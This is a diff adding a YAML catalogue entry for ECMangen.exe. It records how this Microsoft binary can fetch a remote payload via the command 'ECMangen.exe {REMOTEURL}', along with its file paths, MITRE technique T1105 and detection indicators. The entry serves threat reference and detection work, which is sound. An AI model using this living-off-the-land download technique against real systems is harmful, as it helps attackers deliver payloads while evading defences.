Add ECMangen.yml

yml/OtherMSBinaries/ECMangen.yml

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+---
+Name: ECMangen.exe
+Description: Command-line tool for managing certificates in Microsoft Exchange Server.
+Author: Avihay Eldad
+Created: 2024-04-30
+Commands:
+  - Command: ECMangen.exe {REMOTEURL}
+    Description: Downloads payload from remote server
+    Usecase: It will download a remote payload and place it in INetCache
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows
+    Tags:
+      - Download: INetCache
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\ECMangen.exe
+  - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\x64\ECMangen.exe
+  - Path: C:\Program Files\Microsoft\Exchange Server\<version>\Bin\ECMangen.exe
+  - Path: C:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exe
+  - Path: C:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exe
+  - Path: C:\ExchangeServer\Bin\ECMangen.exe
+Detection:
+  - IOC: URL on a ECMangen command line
+  - IOC: ECMangen making unexpected network connections or DNS requests
+Acknowledgement:
+  - Person: Avihay Eldad
+    Handle: '@AvihayEldad'